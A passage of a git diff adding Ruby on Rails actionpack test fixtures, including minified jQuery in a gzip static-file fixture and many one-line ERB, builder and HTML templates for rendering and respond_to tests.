t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,l=0>i?s:o?i:0;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(nt.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&it.nodeName(n.parentNode,"optgroup"))){if(t=it(n).val(),o)return t;a.push(t)}return a},set:function(e,t){for(var n,r,i=e.options,o=it.makeArray(t),a=i.length;a--;)if(r=i[a],it.inArray(it.valHooks.option.get(r),o)>=0)try{r.selected=n=!0}catch(s){r.scrollHeight}else r.selected=!1;return n||(e.selectedIndex=-1),i}}}}),it.each(["radio","checkbox"],function(){it.valHooks[this]={set:function(e,t){return it.isArray(t)?e.checked=it.inArray(it(e).val(),t)>=0:void 0}},nt.checkOn||(it.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Tn,En,kn=it.expr.attrHandle,Cn=/^(?:checked|selected)$/i,Nn=nt.getSetAttribute,Sn=nt.input;it.fn.extend({attr:function(e,t){return At(this,it.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){it.removeAttr(this,e)})}}),it.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(e&&3!==o&&8!==o&&2!==o)return typeof e.getAttribute===Et?it.prop(e,t,n):(1===o&&it.isXMLDoc(e)||(t=t.toLowerCase(),r=it.attrHooks[t]||(it.expr.match.bool.test(t)?En:Tn)),void 0===n?r&&"get"in r&&null!==(i=r.get(e,t))?i:(i=it.find.attr(e,t),null==i?void 0:i):null!==n?r&&"set"in r&&void 0!==(i=r.set(e,n,t))?i:(e.setAttribute(t,n+""),n):void it.removeAttr(e,t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(bt);if(o&&1===e.nodeType)for(;n=o[i++];)r=it.propFix[n]||n,it.expr.match.bool.test(n)?Sn&&Nn||!Cn.test(n)?e[r]=!1:e[it.camelCase("default-"+n)]=e[r]=!1:it.attr(e,n,""),e.removeAttribute(Nn?n:r)},attrHooks:{type:{set:function(e,t){if(!nt.radioValue&&"radio"===t&&it.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}}}),En={set:function(e,t,n){return t===!1?it.removeAttr(e,n):Sn&&Nn||!Cn.test(n)?e.setAttribute(!Nn&&it.propFix[n]||n,n):e[it.camelCase("default-"+n)]=e[n]=!0,n}},it.each(it.expr.match.bool.source.match(/\w+/g),function(e,t){var n=kn[t]||it.find.attr;kn[t]=Sn&&Nn||!Cn.test(t)?function(e,t,r){var i,o;return r||(o=kn[t],kn[t]=i,i=null!=n(e,t,r)?t.toLowerCase():null,kn[t]=o),i}:function(e,t,n){return n?void 0:e[it.camelCase("default-"+t)]?t.toLowerCase():null}}),Sn&&Nn||(it.attrHooks.value={set:function(e,t,n){return it.nodeName(e,"input")?void(e.defaultValue=t):Tn&&Tn.set(e,t,n)}}),Nn||(Tn={set:function(e,t,n){var r=e.getAttributeNode(n);return r||e.setAttributeNode(r=e.ownerDocument.createAttribute(n)),r.value=t+="","value"===n||t===e.getAttribute(n)?t:void 0}},kn.id=kn.name=kn.coords=function(e,t,n){var r;return n?void 0:(r=e.getAttributeNode(t))&&""!==r.value?r.value:null},it.valHooks.button={get:function(e,t){var n=e.getAttributeNode(t);return n&&n.specified?n.value:void 0},set:Tn.set},it.attrHooks.contenteditable={set:function(e,t,n){Tn.set(e,""===t?!1:t,n)}},it.each(["width","height"],function(e,t){it.attrHooks[t]={set:function(e,n){return""===n?(e.setAttribute(t,"auto"),n):void 0}}})),nt.style||(it.attrHooks.style={get:function(e){return e.style.cssText||void 0},set:function(e,t){return e.style.cssText=t+""}});var jn=/^(?:input|select|textarea|button|object)$/i,An=/^(?:a|area)$/i;it.fn.extend({prop:function(e,t){return At(this,it.prop,e,t,arguments.length>1)},removeProp:function(e){return e=it.propFix[e]||e,this.each(function(){try{this[e]=void 0,delete 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\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/gzip/foo.zoo.gz b/actionpack/test/fixtures/public/gzip/foo.zoo.gz
new file mode 100644
index 0000000000..f62c656dc8
--- /dev/null
+++ b/actionpack/test/fixtures/public/gzip/foo.zoo.gz
diff --git a/actionpack/test/fixtures/public/index.html b/actionpack/test/fixtures/public/index.html
new file mode 100644
index 0000000000..525950ba6b
--- /dev/null
+++ b/actionpack/test/fixtures/public/index.html
@@ -0,0 +1 @@
+/index.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/other-index.html b/actionpack/test/fixtures/public/other-index.html
new file mode 100644
index 0000000000..0820dfcb6e
--- /dev/null
+++ b/actionpack/test/fixtures/public/other-index.html
@@ -0,0 +1 @@
+/other-index.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/all_types_with_layout.html.erb b/actionpack/test/fixtures/respond_to/all_types_with_layout.html.erb
new file mode 100644
index 0000000000..84a84049f8
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/all_types_with_layout.html.erb
@@ -0,0 +1 @@
+HTML for all_types_with_layout
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/custom_constant_handling_without_block.mobile.erb b/actionpack/test/fixtures/respond_to/custom_constant_handling_without_block.mobile.erb
new file mode 100644
index 0000000000..0cdfa41494
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/custom_constant_handling_without_block.mobile.erb
@@ -0,0 +1 @@
+Mobile
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.html.erb b/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.html.erb
new file mode 100644
index 0000000000..1f3f1c6516
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.html.erb
@@ -0,0 +1 @@
+Hello future from <%= @type -%>!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.iphone.erb b/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.iphone.erb
new file mode 100644
index 0000000000..17888ac303
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.iphone.erb
@@ -0,0 +1 @@
+Hello iPhone future from <%= @type -%>!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/layouts/missing.html.erb b/actionpack/test/fixtures/respond_to/layouts/missing.html.erb
new file mode 100644
index 0000000000..d6f92a3120
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/layouts/missing.html.erb
@@ -0,0 +1 @@
+<html><div id="html_missing"><%= yield %></div></html>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/layouts/standard.html.erb b/actionpack/test/fixtures/respond_to/layouts/standard.html.erb
new file mode 100644
index 0000000000..c6c1a586dd
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/layouts/standard.html.erb
@@ -0,0 +1 @@
+<html><div id="html"><%= yield %></div></html>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/layouts/standard.iphone.erb b/actionpack/test/fixtures/respond_to/layouts/standard.iphone.erb
new file mode 100644
index 0000000000..84444517f0
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/layouts/standard.iphone.erb
@@ -0,0 +1 @@
+<html><div id="iphone"><%= yield %></div></html>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/using_defaults.html.erb b/actionpack/test/fixtures/respond_to/using_defaults.html.erb
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/using_defaults.html.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/using_defaults.xml.builder b/actionpack/test/fixtures/respond_to/using_defaults.xml.builder
new file mode 100644
index 0000000000..15c8a7f5cf
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/using_defaults.xml.builder
@@ -0,0 +1 @@
+xml.p "Hello world!"
diff --git a/actionpack/test/fixtures/respond_to/using_defaults_with_all.html.erb b/actionpack/test/fixtures/respond_to/using_defaults_with_all.html.erb
new file mode 100644
index 0000000000..9f1f855269
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/using_defaults_with_all.html.erb
@@ -0,0 +1 @@
+HTML!
diff --git a/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.html.erb b/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.html.erb
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.html.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder b/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder
new file mode 100644
index 0000000000..15c8a7f5cf
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder
@@ -0,0 +1 @@
+xml.p "Hello world!"
diff --git a/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb
new file mode 100644
index 0000000000..e905d051bf
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb
@@ -0,0 +1 @@
+phablet
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb
new file mode 100644
index 0000000000..65526af8cf
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb
@@ -0,0 +1 @@
+tablet
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb b/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb
new file mode 100644
index 0000000000..cd222a4a49
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb
@@ -0,0 +1 @@
+phone
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb b/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb
new file mode 100644
index 0000000000..c86c3f3551
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb
@@ -0,0 +1 @@
+none
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_with_implicit_template_rendering.html+mobile.erb b/actionpack/test/fixtures/respond_to/variant_with_implicit_template_rendering.html+mobile.erb
new file mode 100644
index 0000000000..317801ad30
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_with_implicit_template_rendering.html+mobile.erb
@@ -0,0 +1 @@
+mobile
\ No newline at end of file
diff --git a/actionpack/test/fixtures/ruby_template.ruby b/actionpack/test/fixtures/ruby_template.ruby
new file mode 100644
index 0000000000..5097bce47c
--- /dev/null
+++ b/actionpack/test/fixtures/ruby_template.ruby
@@ -0,0 +1,2 @@
+body = ""
+body << ["Hello", "from", "Ruby", "code"].join(" ")
diff --git a/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb b/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb
new file mode 100644
index 0000000000..deb81c647d
--- /dev/null
+++ b/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module SessionAutoloadTest
+  class Foo
+    def initialize(bar = "baz")
+      @bar = bar
+    end
+    def inspect
+      "#<#{self.class} bar:#{@bar.inspect}>"
+    end
+  end
+end
diff --git a/actionpack/test/fixtures/shared.html.erb b/actionpack/test/fixtures/shared.html.erb
new file mode 100644
index 0000000000..af262fc9f8
--- /dev/null
+++ b/actionpack/test/fixtures/shared.html.erb
@@ -0,0 +1 @@
+Elastica
\ No newline at end of file
diff --git a/actionpack/test/fixtures/star_star_mime/index.js.erb b/actionpack/test/fixtures/star_star_mime/index.js.erb
new file mode 100644
index 0000000000..4da4181f56
--- /dev/null
+++ b/actionpack/test/fixtures/star_star_mime/index.js.erb
@@ -0,0 +1 @@
+function addition(a,b){ return a+b; }
diff --git a/actionpack/test/fixtures/test/_partial.erb b/actionpack/test/fixtures/test/_partial.erb
new file mode 100644
index 0000000000..e466dcbd8e
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial.erb
@@ -0,0 +1 @@
+invalid
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial.html.erb b/actionpack/test/fixtures/test/_partial.html.erb
new file mode 100644
index 0000000000..e39f6c9827
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial.html.erb
@@ -0,0 +1 @@
+partial html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial.js.erb b/actionpack/test/fixtures/test/_partial.js.erb
new file mode 100644
index 0000000000..b350cdd7ef
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial.js.erb
@@ -0,0 +1 @@
+partial js
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/dot.directory/render_file_with_ivar.erb b/actionpack/test/fixtures/test/dot.directory/render_file_with_ivar.erb
new file mode 100644
index 0000000000..8b8a449236
--- /dev/null
+++ b/actionpack/test/fixtures/test/dot.directory/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionpack/test/fixtures/test/formatted_xml_erb.builder b/actionpack/test/fixtures/test/formatted_xml_erb.builder
new file mode 100644
index 0000000000..f98aaa34a5
--- /dev/null
+++ b/actionpack/test/fixtures/test/formatted_xml_erb.builder
@@ -0,0 +1 @@
+xml.test "failed"
diff --git a/actionpack/test/fixtures/test/formatted_xml_erb.html.erb b/actionpack/test/fixtures/test/formatted_xml_erb.html.erb
new file mode 100644
index 0000000000..0c855a604b
--- /dev/null
+++ b/actionpack/test/fixtures/test/formatted_xml_erb.html.erb
@@ -0,0 +1 @@
+<test>passed formatted html erb</test>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/formatted_xml_erb.xml.erb b/actionpack/test/fixtures/test/formatted_xml_erb.xml.erb
new file mode 100644
index 0000000000..6ca09d5304
--- /dev/null
+++ b/actionpack/test/fixtures/test/formatted_xml_erb.xml.erb
@@ -0,0 +1 @@
+<test>passed formatted xml erb</test>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello/hello.erb b/actionpack/test/fixtures/test/hello/hello.erb
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello/hello.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world.erb b/actionpack/test/fixtures/test/hello_world.erb
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello_world.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world_with_partial.html.erb b/actionpack/test/fixtures/test/hello_world_with_partial.html.erb
new file mode 100644
index 0000000000..ec31545356
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello_world_with_partial.html.erb
@@ -0,0 +1,2 @@
+Hello world!
+<%= render '/test/partial' %>
diff --git a/actionpack/test/fixtures/test/hello_xml_world.builder b/actionpack/test/fixtures/test/hello_xml_world.builder
new file mode 100644
index 0000000000..d16bb6b5cb
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello_xml_world.builder
@@ -0,0 +1,11 @@
+xml.html do
+  xml.head do
+    xml.title "Hello World"
+  end
+
+  xml.body do
+    xml.p "abes"
+    xml.p "monks"
+    xml.p "wiseguys"
+  end
+end
diff --git a/actionpack/test/fixtures/test/implicit_content_type.atom.builder b/actionpack/test/fixtures/test/implicit_content_type.atom.builder
new file mode 100644
index 0000000000..2fcb32d247
--- /dev/null
+++ b/actionpack/test/fixtures/test/implicit_content_type.atom.builder
@@ -0,0 +1,2 @@
+xml.atom do
+end
diff --git a/actionpack/test/fixtures/test/render_file_with_ivar.erb b/actionpack/test/fixtures/test/render_file_with_ivar.erb
new file mode 100644
index 0000000000..8b8a449236
--- /dev/null
+++ b/actionpack/test/fixtures/test/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionpack/test/fixtures/test/render_file_with_locals.erb b/actionpack/test/fixtures/test/render_file_with_locals.erb
new file mode 100644
index 0000000000..ebe09faee6
--- /dev/null
+++ b/actionpack/test/fixtures/test/render_file_with_locals.erb
@@ -0,0 +1 @@
+The secret is <%= secret %>
diff --git a/actionpack/test/fixtures/test/with_implicit_template.erb b/actionpack/test/fixtures/test/with_implicit_template.erb
new file mode 100644
index 0000000000..474488cd13
--- /dev/null
+++ b/actionpack/test/fixtures/test/with_implicit_template.erb
@@ -0,0 +1 @@
+Hello explicitly!
diff --git a/actionpack/test/fixtures/公共/bar.html b/actionpack/test/fixtures/公共/bar.html
new file mode 100644
index 0000000000..67fc57079b
--- /dev/null
+++ b/actionpack/test/fixtures/公共/bar.html
@@ -0,0 +1 @@
+/bar.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/bar/index.html b/actionpack/test/fixtures/公共/bar/index.html
new file mode 100644
index 0000000000..d5bb8f898d
--- /dev/null
+++ b/actionpack/test/fixtures/公共/bar/index.html
@@ -0,0 +1 @@
+/bar/index.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/bar.html b/actionpack/test/fixtures/公共/foo/bar.html
new file mode 100644
index 0000000000..9a35646205
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/bar.html
@@ -0,0 +1 @@
+/foo/bar.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/baz.css b/actionpack/test/fixtures/公共/foo/baz.css
new file mode 100644
index 0000000000..b5173fbef2
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/baz.css
@@ -0,0 +1,3 @@
+body {
+background: #000;
+}
diff --git a/actionpack/test/fixtures/公共/foo/index.html b/actionpack/test/fixtures/公共/foo/index.html
new file mode 100644
index 0000000000..497a2e898f
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/index.html
@@ -0,0 +1 @@
+/foo/index.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/other-index.html b/actionpack/test/fixtures/公共/foo/other-index.html
new file mode 100644
index 0000000000..51c90c26ea
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/other-index.html
@@ -0,0 +1 @@
+/foo/other-index.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/こんにちは.html b/actionpack/test/fixtures/公共/foo/こんにちは.html
new file mode 100644
index 0000000000..1df9166522
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/こんにちは.html
@@ -0,0 +1 @@
+means hello in Japanese
diff --git a/actionpack/test/fixtures/公共/gzip/application-a71b3024f80aea3181c09774ca17e712.js b/actionpack/test/fixtures/公共/gzip/application-a71b3024f80aea3181c09774ca17e712.js
new file mode 100644
index 0000000000..1826a7660e
--- /dev/null
+++ b/actionpack/test/fixtures/公共/gzip/application-a71b3024f80aea3181c09774ca17e712.js
@@ -0,0 +1,4 @@
+!function(e,t){"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){function n(e){var t=e.length,n=it.type(e);return"function"===n||it.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e}function r(e,t,n){if(it.isFunction(t))return it.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return it.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(ft.test(t))return it.filter(t,e,n);t=it.filter(t,e)}return it.grep(e,function(e){return it.inArray(e,t)>=0!==n})}function i(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}function o(e){var t=xt[e]={};return it.each(e.match(bt)||[],function(e,n){t[n]=!0}),t}function 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n,r,i,o,a,s,l;n=ht.createElement("div"),n.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",i=n.getElementsByTagName("a")[0],r=i&&i.style,r&&(r.cssText="float:left;opacity:.5",nt.opacity="0.5"===r.opacity,nt.cssFloat=!!r.cssFloat,n.style.backgroundClip="content-box",n.cloneNode(!0).style.backgroundClip="",nt.clearCloneStyle="content-box"===n.style.backgroundClip,nt.boxSizing=""===r.boxSizing||""===r.MozBoxSizing||""===r.WebkitBoxSizing,it.extend(nt,{reliableHiddenOffsets:function(){return null==s&&t(),s
+},boxSizingReliable:function(){return null==a&&t(),a},pixelPosition:function(){return null==o&&t(),o},reliableMarginRight:function(){return null==l&&t(),l}}))}(),it.swap=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};var an=/alpha\([^)]*\)/i,sn=/opacity\s*=\s*([^)]*)/,ln=/^(none|table(?!-c[ea]).+)/,un=new RegExp("^("+Nt+")(.*)$","i"),cn=new RegExp("^([+-])=("+Nt+")","i"),dn={position:"absolute",visibility:"hidden",display:"block"},fn={letterSpacing:"0",fontWeight:"400"},pn=["Webkit","O","Moz","ms"];it.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=tn(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":nt.cssFloat?"cssFloat":"styleFloat"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=it.camelCase(t),l=e.style;if(t=it.cssProps[s]||(it.cssProps[s]=S(l,s)),a=it.cssHooks[t]||it.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];if(o=typeof n,"string"===o&&(i=cn.exec(n))&&(n=(i[1]+1)*i[2]+parseFloat(it.css(e,t)),o="number"),null!=n&&n===n&&("number"!==o||it.cssNumber[s]||(n+="px"),nt.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(e,n,r)))))try{l[t]=n}catch(u){}}},css:function(e,t,n,r){var i,o,a,s=it.camelCase(t);return t=it.cssProps[s]||(it.cssProps[s]=S(e.style,s)),a=it.cssHooks[t]||it.cssHooks[s],a&&"get"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=tn(e,t,r)),"normal"===o&&t in fn&&(o=fn[t]),""===n||n?(i=parseFloat(o),n===!0||it.isNumeric(i)?i||0:o):o}}),it.each(["height","width"],function(e,t){it.cssHooks[t]={get:function(e,n,r){return n?ln.test(it.css(e,"display"))&&0===e.offsetWidth?it.swap(e,dn,function(){return L(e,t,r)}):L(e,t,r):void 0},set:function(e,n,r){var i=r&&en(e);return A(e,n,r?D(e,t,r,nt.boxSizing&&"border-box"===it.css(e,"boxSizing",!1,i),i):0)}}}),nt.opacity||(it.cssHooks.opacity={get:function(e,t){return sn.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=it.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===it.trim(o.replace(an,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=an.test(o)?o.replace(an,i):o+" "+i)}}),it.cssHooks.marginRight=N(nt.reliableMarginRight,function(e,t){return t?it.swap(e,{display:"inline-block"},tn,[e,"marginRight"]):void 0}),it.each({margin:"",padding:"",border:"Width"},function(e,t){it.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];4>r;r++)i[e+St[r]+t]=o[r]||o[r-2]||o[0];return i}},nn.test(e)||(it.cssHooks[e+t].set=A)}),it.fn.extend({css:function(e,t){return At(this,function(e,t,n){var r,i,o={},a=0;if(it.isArray(t)){for(r=en(e),i=t.length;i>a;a++)o[t[a]]=it.css(e,t[a],!1,r);return o}return void 0!==n?it.style(e,t,n):it.css(e,t)},e,t,arguments.length>1)},show:function(){return j(this,!0)},hide:function(){return j(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){jt(this)?it(this).show():it(this).hide()})}}),it.Tween=H,H.prototype={constructor:H,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(it.cssNumber[n]?"":"px")},cur:function(){var e=H.propHooks[this.prop];return e&&e.get?e.get(this):H.propHooks._default.get(this)},run:function(e){var t,n=H.propHooks[this.prop];return this.pos=t=this.options.duration?it.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):H.propHooks._default.set(this),this}},H.prototype.init.prototype=H.prototype,H.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=it.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){it.fx.step[e.prop]?it.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[it.cssProps[e.prop]]||it.cssHooks[e.prop])?it.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},H.propHooks.scrollTop=H.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},it.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},it.fx=H.prototype.init,it.fx.step={};var hn,mn,gn=/^(?:toggle|show|hide)$/,vn=new RegExp("^(?:([+-])=|)("+Nt+")([a-z%]*)$","i"),yn=/queueHooks$/,bn=[M],xn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=vn.exec(t),o=i&&i[3]||(it.cssNumber[e]?"":"px"),a=(it.cssNumber[e]||"px"!==o&&+r)&&vn.exec(it.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a=+r||1;do s=s||".5",a/=s,it.style(n.elem,e,a+o);while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start=+a||+r||0,n.unit=o,n.end=i[1]?a+(i[1]+1)*i[2]:+i[2]),n}]};it.Animation=it.extend(R,{tweener:function(e,t){it.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");for(var n,r=0,i=e.length;i>r;r++)n=e[r],xn[n]=xn[n]||[],xn[n].unshift(t)},prefilter:function(e,t){t?bn.unshift(e):bn.push(e)}}),it.speed=function(e,t,n){var r=e&&"object"==typeof e?it.extend({},e):{complete:n||!n&&t||it.isFunction(e)&&e,duration:e,easing:n&&t||t&&!it.isFunction(t)&&t};return r.duration=it.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in it.fx.speeds?it.fx.speeds[r.duration]:it.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){it.isFunction(r.old)&&r.old.call(this),r.queue&&it.dequeue(this,r.queue)},r},it.fn.extend({fadeTo:function(e,t,n,r){return this.filter(jt).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=it.isEmptyObject(e),o=it.speed(t,n,r),a=function(){var t=R(this,it.extend({},e),o);(i||it._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=it.timers,a=it._data(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&yn.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));(t||!n)&&it.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=it._data(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=it.timers,a=r?r.length:0;for(n.finish=!0,it.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;a>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),it.each(["toggle","show","hide"],function(e,t){var n=it.fn[t];it.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(q(t,!0),e,r,i)}}),it.each({slideDown:q("show"),slideUp:q("hide"),slideToggle:q("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){it.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),it.timers=[],it.fx.tick=function(){var e,t=it.timers,n=0;for(hn=it.now();n<t.length;n++)e=t[n],e()||t[n]!==e||t.splice(n--,1);t.length||it.fx.stop(),hn=void 0},it.fx.timer=function(e){it.timers.push(e),e()?it.fx.start():it.timers.pop()},it.fx.interval=13,it.fx.start=function(){mn||(mn=setInterval(it.fx.tick,it.fx.interval))},it.fx.stop=function(){clearInterval(mn),mn=null},it.fx.speeds={slow:600,fast:200,_default:400},it.fn.delay=function(e,t){return 